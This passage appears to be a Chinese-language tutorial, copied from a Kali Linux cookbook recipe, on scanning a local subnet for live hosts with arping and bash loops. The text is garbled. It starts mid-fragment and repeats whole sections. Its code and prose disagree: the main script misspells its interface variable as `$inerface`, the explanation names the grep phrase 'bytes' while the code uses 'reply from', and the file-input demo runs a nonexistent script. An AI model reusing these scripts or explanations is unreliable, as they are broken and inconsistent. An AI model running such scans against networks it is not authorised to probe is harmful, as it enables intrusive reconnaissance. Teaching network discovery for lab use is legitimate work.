done在提供的 bash 脚本中,第一行定义了 bash 解释器的位置。接下来的代码块执行测试,来确定是否提供了预期的参数。这通过评估提供的参数的数量是否不等于 1来确定。如果未提供预期参数,则输出脚本的用法,并且退出脚本。用法输出表明,脚本预期将本地接口名称作为参数。下一个代码块将提供的参数赋给 interface 变量。然后将接口值提供给 ifconfig ,然后使用输出提取网络前缀。例如,如果提供的接口的 IP 地址是 192.168.11.4 ,则前缀变量将赋为 192.168.11 。然后使用 for 循环遍历最后一个字节的值,来在本地 / 24 网络中生成每个可能的 IP 地址。对于每个可能的 IP 地址,执行单个 arping 命令。然后对每个请求的响应通过管道进行传递,然后使用 grep 来提取带有短语 bytes 的行。如前所述,这只会提取包含活动主机的 IP 地址的行。最后,使用一系列 cut 函数从此输出中提取 IP 地址。请注意,在 for 循环任务的末尾使用 & 符号,而不是分号。符号允许并行执行任务,而不是按顺序执行。这极大地减少了扫描 IP 范围所需的时间。
注意:给文件增加执行权限如下命令集:root@kali:~# chmod +x arping.sh
root@kali:~# ls -al arping.sh
-rwxr-xr-x 1 root root 552 May 28 23:18 arping.sh
root@kali:~#
 
看看下面的执行命令集:root@kali:~# ./arping.sh
Usage - ./arping.sh [interface]
Example - ./arping.sh eth0
Example will perform an ARP scan of the local subnet to which eth0 is assigned
root@kali:~# ./arping.sh eth0
root@kali:~# 172.16.155.1
172.16.155.2
172.16.155.254




可以轻易将脚本的输出重定向到文本文件,然后用于随后的分析。 可以使用尖括号重定向输出,后跟文本文件的名称。 一个例子如下:root@kali:~# ./arping.sh eth0 > output.txt
root@kali:~# ls output.txt
output.txt
root@kali:~# cat output.txt
172.16.155.1
172.16.155.2
172.16.155.254
root@kali:~#



一旦输出重定向到输出文件,你就可以使用 ls 命令验证文件是否已写入文件系统,或者可以使用 cat 命令查看文件的内容。 此脚本还可以修改为从输入文件读取,并仅验证此文件中列出的主机是否处于活动状态。 对于以下脚本,你需要拥有IP 地址列表的输入文件。 为此,我们可以使用与上一个秘籍中讨论的 Scapy 脚本所使用的相同的输入文件:#!/bin/bash
if [ $# -ne 1 ]; then
echo "Usage - ./arping.sh [interface]"
echo "Example - ./arping.sh eth0"
echo "Example will perform an ARP scan of the local subnet to which eth0 is assigned"
exit
fi

file=$1

for addr in $(cat $file); do
arping -c 1 $addr | grep 'reply from' |cut -d ' ' -f 4 &
done




这个脚本和前一个脚本唯一的主要区别是,并没有提供一个接口名,而是在执行脚本时提供输入列表的文件名。 这个参数被传递给文件变量。 然后, for 循环用于循环遍历此文件中的每个值,来执行 ARPing 任务。 为了执行脚本,请使用句号和斜杠,后跟可执行脚本的名称:root@kali:~# ./arping.sh
Usage - ./arping.sh [interface]
Example - ./arping.sh eth0
Example will perform an ARP scan of the local subnet to which eth0 is assigned
root@kali:~# ./arp.sh output.txt
-bash: ./arp.sh: No such file or directory
root@kali:~#




 工作原理
 
ARPing 是一个工具,用于验证单个主机是否在线。 然而,它的简单用法的使我们很容易操作它在 bash 中按顺序扫描多个主机。 这是通过循环遍历一系列 IP 地址,然后将这些 IP 地址作为参数提供给工具来完成的。
  查看全部
ARPing简介:
ARPing 是一个命令行网络工具,具有类似于常用的 ping 工具的功能。 此工具可通过提供该 IP 地址作为参数,来识别活动主机是否位于给定 IP 的本地网络上。 这个秘籍将讨论如何使用 ARPing 扫描网络上的活动主机。
 
准备
要使用 ARPing 执行 ARP 发现,你需要在 LAN 上至少拥有一个响应 ARP 请求的系统。本测试在Kali 2.0上进行
 
操作步骤
ARPing是一种工具,可用于发送 ARP 请求并标识主机是否活动和响应。 该工具仅通过将 IP 地址作为参数传递给它来使用:
root@kali:~# arping -c 1 172.16.155.1
ARPING 172.16.155.1 from 172.16.155.150 eth0
Unicast reply from 172.16.155.1 [00:50:56:C0:00:08] 1.047ms
Sent 1 probes (1 broadcast(s))
Received 1 response(s)
root@kali:~#



在所提供的示例中,单个 ARP 请求被发送给广播地址,请求 172.16.155.1 IP地址的物理位置。 如输出所示,主机从 000:50:56:C0:00:08 MAC地址接收到单个应答。 此工具可以更有效地用于第二层上的发现,扫描是否使用 bash 脚本在多个主机上同时执行此操作。 为了测试 bash 中每个实例的响应,我们应该确定响应中包含的唯一字符串,它标识了活动主机,但不包括没有收到响应时的情况。要识别唯一字符串,应该对无响应的 IP 地址进行 ARPing 请求:
root@kali:~# arping -c 1 172.16.155.100
ARPING 172.16.155.100 from 172.16.155.150 eth0
Sent 1 probes (1 broadcast(s))
Received 0 response(s)




通过分析来自成功和失败的不同 ARP 响应,你可能注意到,如果存在所提供的 IP地址的相关活动主机,并且它也在包含在 IP 地址的行内,则响应中存在来自字符串的唯一字节。 通过对此响应执行 grep ,我们可以提取每个响应主机的 IP 地址:
root@kali:~# arping -c 1 172.16.155.1 | grep 'reply from' 
Unicast reply from 172.16.155.1 [00:50:56:C0:00:08] 0.712ms



我们可以仅仅通过处理提供给 cut 函数的分隔符和字段值,从返回的字符串中轻松地提取 IP 地址:
root@kali:~# arping -c 1 172.16.155.1 | grep 'reply from' |cut -d ' ' -f 4
172.16.155.1
在识别如何从正面 ARPing 响应中提取 IP 在 bash 脚本中轻易将该任务传递给循环,并输出实时 IP 地址列表。 使用此技术的脚本的示例如下所示:
root@kali:~# cat arping.sh 
#!/bin/bash
if [ $# -ne 1 ]; then
    echo "Usage - ./arping.sh [interface]"
    echo "Example - ./arping.sh eth0"
    echo "Example will perform an ARP scan of the local subnet to which eth0 is assigned"
    exit
fi

interface=$1
prefix=$(ifconfig $inerface | grep 'inet'| head -n 1| cut -d ' ' -f 10|cut -d '.' -f 1-3 ) #  由于输出的间隔符空格,因此我这边cut -d后面用的是空格,大家做的过程中,可以根据自己的情况变化

for addr in $(seq 1 254); do 
    arping -c 1 $prefix.$addr | grep 'reply from' |cut -d ' ' -f 4 &
done
在提供的 bash 脚本中,第一行定义了 bash 解释器的位置。接下来的代码块执行测试,来确定是否提供了预期的参数。这通过评估提供的参数的数量是否不等于 1来确定。如果未提供预期参数,则输出脚本的用法,并且退出脚本。用法输出表明,脚本预期将本地接口名称作为参数。下一个代码块将提供的参数赋给 interface 变量。然后将接口值提供给 ifconfig ,然后使用输出提取网络前缀。例如,如果提供的接口的 IP 地址是 192.168.11.4 ,则前缀变量将赋为 192.168.11 。然后使用 for 循环遍历最后一个字节的值,来在本地 / 24 网络中生成每个可能的 IP 地址。对于每个可能的 IP 地址,执行单个 arping 命令。然后对每个请求的响应通过管道进行传递,然后使用 grep 来提取带有短语 bytes 的行。如前所述,这只会提取包含活动主机的 IP 地址的行。最后,使用一系列 cut 函数从此输出中提取 IP 地址。请注意,在 for 循环任务的末尾使用 & 符号,而不是分号。符号允许并行执行任务,而不是按顺序执行。这极大地减少了扫描 IP 范围所需的时间。
注意:给文件增加执行权限如下命令集:
root@kali:~# chmod +x arping.sh
root@kali:~# ls -al arping.sh
-rwxr-xr-x 1 root root 552 May 28 23:18 arping.sh
root@kali:~#

 
看看下面的执行命令集:
root@kali:~# ./arping.sh
Usage - ./arping.sh [interface]
Example - ./arping.sh eth0
Example will perform an ARP scan of the local subnet to which eth0 is assigned
root@kali:~# ./arping.sh eth0
root@kali:~# 172.16.155.1
172.16.155.2
172.16.155.254




可以轻易将脚本的输出重定向到文本文件,然后用于随后的分析。 可以使用尖括号重定向输出,后跟文本文件的名称。 一个例子如下:
root@kali:~# ./arping.sh eth0 > output.txt
root@kali:~# ls output.txt
output.txt
root@kali:~# cat output.txt
172.16.155.1
172.16.155.2
172.16.155.254
root@kali:~#



一旦输出重定向到输出文件,你就可以使用 ls 命令验证文件是否已写入文件系统,或者可以使用 cat 命令查看文件的内容。 此脚本还可以修改为从输入文件读取,并仅验证此文件中列出的主机是否处于活动状态。 对于以下脚本,你需要拥有IP 地址列表的输入文件。 为此,我们可以使用与上一个秘籍中讨论的 Scapy 脚本所使用的相同的输入文件:
#!/bin/bash
if [ $# -ne 1 ]; then
echo "Usage - ./arping.sh [interface]"
echo "Example - ./arping.sh eth0"
echo "Example will perform an ARP scan of the local subnet to which eth0 is assigned"
exit
fi

file=$1

for addr in $(cat $file); do
arping -c 1 $addr | grep 'reply from' |cut -d ' ' -f 4 &
done




这个脚本和前一个脚本唯一的主要区别是,并没有提供一个接口名,而是在执行脚本时提供输入列表的文件名。 这个参数被传递给文件变量。 然后, for 循环用于循环遍历此文件中的每个值,来执行 ARPing 任务。 为了执行脚本,请使用句号和斜杠,后跟可执行脚本的名称:
root@kali:~# ./arping.sh 
Usage - ./arping.sh [interface]
Example - ./arping.sh eth0
Example will perform an ARP scan of the local subnet to which eth0 is assigned
root@kali:~# ./arp.sh output.txt
-bash: ./arp.sh: No such file or directory
root@kali:~#




 工作原理
 
ARPing 是一个工具,用于验证单个主机是否在线。 然而,它的简单用法的使我们很容易操作它在 bash 中按顺序扫描多个主机。 这是通过循环遍历一系列 IP 地址,然后将这些 IP 地址作为参数提供给工具来完成的。